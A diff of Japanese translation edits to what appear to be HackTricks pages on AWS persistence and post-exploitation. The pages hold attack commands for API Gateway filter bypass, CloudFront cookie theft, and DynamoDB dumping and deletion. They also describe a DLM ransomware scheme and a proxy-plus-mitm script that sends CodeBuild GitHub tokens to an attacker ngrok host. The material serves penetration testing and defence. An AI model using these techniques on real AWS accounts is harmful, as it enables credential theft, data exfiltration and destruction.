-> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**（再度追加する必要があります）。これに関しては、以下の指示に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**（再度追加する必要があります）。これについては、次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md

@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - SSM 永続性

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -12,7 +12,7 @@
 
 ### ステップ関数のバックドア
 
-ステップ関数にバックドアを仕掛けて、実行されるたびに悪意のあるステップを実行するようにします。
+ステップ関数にバックドアを仕掛けて、持続性のトリックを実行させることで、実行されるたびに悪意のあるステップを実行させることができます。
 
 ### バックドアリングエイリアス
 

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md

@@ -12,7 +12,7 @@
 
 ### Assume role token
 
-一時的なトークンはリストできないため、アクティブな一時的トークンを維持することが持続性を維持する方法です。
+一時的なトークンはリストできないため、アクティブな一時トークンを維持することが持続性を保つ方法です。
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
@@ -22,13 +22,13 @@ aws sts get-session-token \
 --token-code &#x3C;code-from-token>
 
 # ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
-<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
-</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
+<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/username
+</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的な方法**で最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
+[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的に**最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
 
 この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます：
 ```bash
@@ -40,7 +40,7 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成できるすべての方法を見つけるわけではありません。
+> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成されるすべての方法を見つけるわけではありません。
 
 <details>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md

@@ -10,37 +10,37 @@
 ../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### 公開されていないAPIへのアクセス
+### 未公開APIへのアクセス
 
 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワーク（EC2マシン経由の可能性あり）でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\
 その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。
 
-### リクエストボディのパススルーをバイパスする
+### リクエストボディのパススルーをバイパス
 
 この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。
 
 [AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。
 
-したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**：
+したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**。
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
-しかし、**`Content-type: text/json`**を使用してリクエストを送信すると、そのフィルターを回避できます。
+しかし、**`Content-type: text/json`**を持つリクエストを送信することで、そのフィルターを回避できます。
 
-最後に、API Gatewayが`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした：
+最後に、API Gatewayは`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした：
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
 ### Usage Plans DoS
 
-**列挙**セクションでは、**使用プラン**を**取得する**方法を確認できます。キーを持っていて、それが**月あたりX回の使用に制限されている**場合、**単に使用してDoSを引き起こす**ことができます。
+**Enumeration** セクションでは、キーの **使用プラン** を **取得する方法** を確認できます。キーがあり、**月あたりの使用回数がX回に制限されている**場合、**それを使用してDoSを引き起こすことができます**。
 
-**APIキー**は、**`x-api-key`**という**HTTPヘッダー**に**含める**必要があります。
+**API Key** は、**`x-api-key`** という **HTTPヘッダー** に **含める** 必要があります。
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-`apigateway:UpdateGatewayResponse`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
+`apigateway:UpdateGatewayResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -96,7 +96,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログを無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
+`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログ記録を無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
 ```bash
 API_ID="your-api-id"
 
@@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
-`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
+`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および`apigateway:CreateUsagePlanKey`の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
 ```bash
 # Create a new API key
 API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -127,6 +127,6 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K
 **潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
 
 > [!NOTE]
-> テストが必要です
+> テストが必要
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -12,7 +12,7 @@
 
 ### 中間者攻撃
 
-この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を追加（または既に使用されている場合は修正）して、**CloudFrontを通じた通信**でユーザー情報（セッション**クッキー**など）を**盗む**ことや、**レスポンス**を**変更する**（悪意のあるJSスクリプトを注入する）いくつかの異なるシナリオが提案されています。
+この[**ブログ投稿**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を**CloudFront**を通じた**通信**に追加（または既に使用されている場合は変更）することで、ユーザー情報（セッション**クッキー**など）を**盗む**ことと、**応答**を**変更**する（悪意のあるJSスクリプトを注入する）いくつかの異なるシナリオが提案されています。
 
 #### シナリオ 1: CloudFrontがバケットのHTMLにアクセスするように設定されているMitM
 
@@ -20,12 +20,12 @@
 - CloudFrontディストリビューションに**関連付け**ます。
 - **イベントタイプを「Viewer Response」に設定**します。
 
-レスポンスにアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
+応答にアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
 
 #### シナリオ 2: CloudFrontが既にlambda関数を使用しているMitM
 
-- 機密情報を盗むためにlambda関数の**コードを修正**します。
+- 機密情報を盗むためにlambda関数の**コードを変更**します。
 
-このシナリオを再現するための[**tfコードはこちらで確認できます**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)。
+このシナリオを再現するための[**tfコードはこちら**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)で確認できます。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md

@@ -1,4 +1,4 @@
-# AWS - CodeBuild Post Exploitation
+# AWS - CodeBuild ポストエクスプロイテーション
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -12,23 +12,23 @@
 
 ### シークレットの確認
 
-Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定された資格情報が、個人トークン、パスワード、またはOAuthトークンアクセスの形式である場合、これらの**資格情報はシークレットマネージャーにシークレットとして保存されます**。\
+もし認証情報がCodebuildに設定されてGithub、Gitlab、またはBitbucketに接続するための個人トークン、パスワード、またはOAuthトークンアクセスの形で設定されている場合、これらの**認証情報はシークレットマネージャーにシークレットとして保存されます**。\
 したがって、シークレットマネージャーを読み取るアクセス権があれば、これらのシークレットを取得し、接続されたプラットフォームにピボットすることができます。
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-secrets-manager-privesc.md
 {{#endref}}
 
-### CodeBuildリポジトリアクセスの悪用
+### CodeBuild リポジトリアクセスの悪用
 
-**CodeBuild**を構成するには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります：
+**CodeBuild**を構成するためには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります：
 
 <figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
 
-**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。
+**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**を介して、またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。
 
-**CodeBuildで権限が昇格した攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された資格情報がアクセスできる他のリポジトリを漏洩させることができます。\
-これを行うには、攻撃者は単に**設定された資格情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**（awsのウェブサイトがすべてをリストアップします）：
+**CodeBuild**で**昇格した権限を持つ攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された認証情報がアクセスできる他のリポジトリを漏洩させることができます。\
+これを行うために、攻撃者は単に**設定された認証情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**（awsのウェブサイトがすべてをリストアップします）：
 
 <figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
 
@@ -40,7 +40,7 @@ Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定
 
 ### AWS CodeBuildからのアクセス・トークンの漏洩
 
-CodeBuildでGithubのようなプラットフォームに与えられたアクセスを漏洩させることができます。外部プラットフォームへのアクセスが与えられたかどうかを確認してください：
+CodeBuildで与えられたアクセスをGithubなどのプラットフォームに漏洩させることができます。外部プラットフォームへのアクセスが与えられているか確認してください：
 ```bash
 aws codebuild list-source-credentials
 ```
@@ -71,6 +71,6 @@ aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
 ```sql
 aws codebuild delete-source-credentials --arn <value>
 ```
-**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられる。 
+**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられること。 
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md

@@ -10,19 +10,19 @@ aws codebuild list-source-credentials
 ```
 ### Via Docker Image
 
-もし、例えばGithubへの認証がアカウントに設定されていることがわかった場合、Codebuildに**特定のDockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**（**GHトークンまたはOAuthトークン**）を**抽出**することができます。
+アカウントに対して例えばGithubへの認証が設定されていることがわかった場合、Codebuildに**特定のdockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**（**GHトークンまたはOAuthトークン**）を**抽出**することができます。
 
-この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のものの**環境**を変更して**Dockerイメージ**を設定することができます。
+この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの**環境**を変更して**Dockerイメージ**を設定することができます。
 
-使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定する非常に基本的なDockerイメージです。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。
+使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは非常に基本的なDockerイメージで、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定します。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。
 
 1. **自分のDocker MitMイメージを作成してアップロード**
-- リポジトリの指示に従って、プロキシIPアドレスを設定し、SSL証明書を設定して**Dockerイメージをビルド**します。
-- メタデータエンドポイントへのリクエストを傍受しないように、**`http_proxy`を設定しないでください**。
-- **`ngrok`**を使用して、`ngrok tcp 4444`のようにプロキシをホストに設定できます。
+- リポジトリの指示に従ってプロキシIPアドレスを設定し、SSL証明書を設定して**dockerイメージをビルド**します。
+- メタデータエンドポイントへのリクエストを傍受しないように**`http_proxy`を設定しないでください**。
+- **`ngrok`**を使用してプロキシをホストに設定することができます（例：`ngrok tcp 4444`）。
 - Dockerイメージがビルドされたら、**パブリックリポジトリにアップロード**します（Dockerhub、ECR...）。
 2. **環境を設定**
-- **新しいCodebuildプロジェクトを作成**するか、既存のものの環境を**変更**します。
+- **新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの環境を**変更**します。
 - プロジェクトを**以前に生成したDockerイメージ**を使用するように設定します。
 
 <figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
@@ -36,7 +36,7 @@ mitmproxy --listen-port 4444  --allow-hosts "github.com"
 > [!TIP]
 > 使用された**mitmproxyのバージョンは9.0.1**であり、バージョン10ではこれが機能しない可能性があると報告されています。
 
-4. **ビルドを実行し、認証情報をキャプチャする**
+4. **ビルドを実行し、資格情報をキャプチャする**
 
 - **Authorization**ヘッダーにトークンが表示されます：
 
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
 ```
 ### Via insecureSSL
 
-**Codebuild** プロジェクトには、APIからのみ変更できるウェブに隠された **`insecureSsl`** という設定があります。\
-これを有効にすると、Codebuild はプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。
+**Codebuild** プロジェクトには、ウェブ上では隠されている **`insecureSsl`** という設定があり、APIからのみ変更できます。\
+これを有効にすると、Codebuildはプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。
 
 - まず、次のようなもので現在の設定を列挙する必要があります:
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
-- その後、収集した情報を使ってプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください（これは収集した設定から変更する必要がある唯一の項目です）。
-- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください：
+- その後、収集した情報を使用してプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください（これは収集した設定から変更する必要がある唯一の項目です）。
+- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください。
 ```bash
 aws codebuild update-project --name <proj-name> \
 --source '{
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-- 最後に、**プロジェクトをビルド**をクリックすると、**認証情報**が**平文**（base64）でmitmポートに**送信されます**：
+- 最後に、**Build the project**をクリックすると、**credentials**が**クリアテキスト**（base64）でmitmポートに**送信されます**:
 
 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### ~~HTTPプロトコル経由~~
 
-> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました（金曜日だと思います）。したがって、攻撃者はもはやこれを悪用できません :)**
+> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました（おそらく金曜日）。したがって、攻撃者はもはやこれを悪用できません :)**
 
-**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、権限がOAuth経由で設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
+**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、OAuth経由で権限が設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
 
 - 攻撃者は、CodeBuildプロジェクトに**http_proxy**と**https_proxy**の環境変数を追加し、自分のマシンを指すことができます（例えば`http://5.tcp.eu.ngrok.io:14972`）。
 
@@ -144,8 +144,8 @@ mitm.run()
 
 <figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
 
-- 次に、GitHubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば：`http://github.com/carlospolop-forks/TestActions`
-- 次に、プロキシ変数（http_proxyとhttps_proxy）で指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)の基本的な例を実行します。
+- 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば: `http://github.com/carlospolop-forks/TestActions`
+- その後、プロキシ変数（http_proxyとhttps_proxy）によって指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。
 ```python
 from mitm import MITM, protocol, middleware, crypto
 
@@ -162,7 +162,7 @@ mitm.run()
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
-- 最後に、**credentials**は**平文**（base64）でmitmポートに**送信されます**：
+- 最後に、**資格情報**は**平文**（base64）でmitmポートに送信されます：
 
 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -1,4 +1,4 @@
-# AWS - DLM Post Exploitation
+# AWS - DLMポストエクスプロイテーション
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,9 +6,9 @@
 
 ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
 
-ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、他のAWSアカウントのKMSキーを使用してスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送するAmazon DLMを利用できます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
+ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、Amazon DLMを使用し、別のAWSアカウントのKMSキーでスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送することができます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
 
-まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するコマンドを使用します。
+まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するためのコマンドを使用します。
 
 `aws ec2 describe-volumes`
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## DynamoDB
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@
 
 ### `dynamodb:BatchGetItem`
 
-この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**（テーブルのすべてのデータを単に要求することはできません）。これは、プライマリキーを知っている必要があることを意味します（これはテーブルメタデータを取得することで得られます（`describe-table`）。 
+この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**（テーブルのすべてのデータを要求することはできません）。これは、プライマリキーを知っている必要があることを意味します（これはテーブルメタデータを取得することで得られます（`describe-table`））。
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
 
 ### `dynamodb:GetItem`
 
-**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
+**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
 
 ### `dynamodb:Query`
 
-**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較（必ず表示される必要があります）は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
+**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -119,7 +119,7 @@ aws dynamodb scan --table-name <t_name> #Get data inside the table
 
 ### `dynamodb:PartiQLSelect`
 
-この権限を使用すると、**テーブル全体を簡単にダンプできます**。
+この権限を使用して、**テーブル全体を簡単にダンプできます**。
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
@@ -144,12 +144,12 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-注意：これが機能するためには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます：
+この機能を利用するには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-もしそれが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です:
+それが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です。
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
@@ -159,14 +159,14 @@ aws dynamodb update-continuous-backups \
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる（または、バックアップを作成してから別のテーブルに復元することもできる）。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップからの**情報**を確認することができる。
+これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる（または、別のテーブルに復元するためにバックアップを作成することさえできる）。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップから**情報**を確認することができる。
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**潜在的な影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
+**潜在的影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
 
 ### `dynamodb:PutItem`
 
@@ -206,7 +206,7 @@ aws dynamodb put-item \
 
 ### `dynamodb:UpdateItem`
 
-この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**のではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。**
+この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**ものではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。**
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -262,14 +262,14 @@ aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不能。
+**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不可能。
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
 > TODO: これが実際に機能するかテストする
 
-これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。
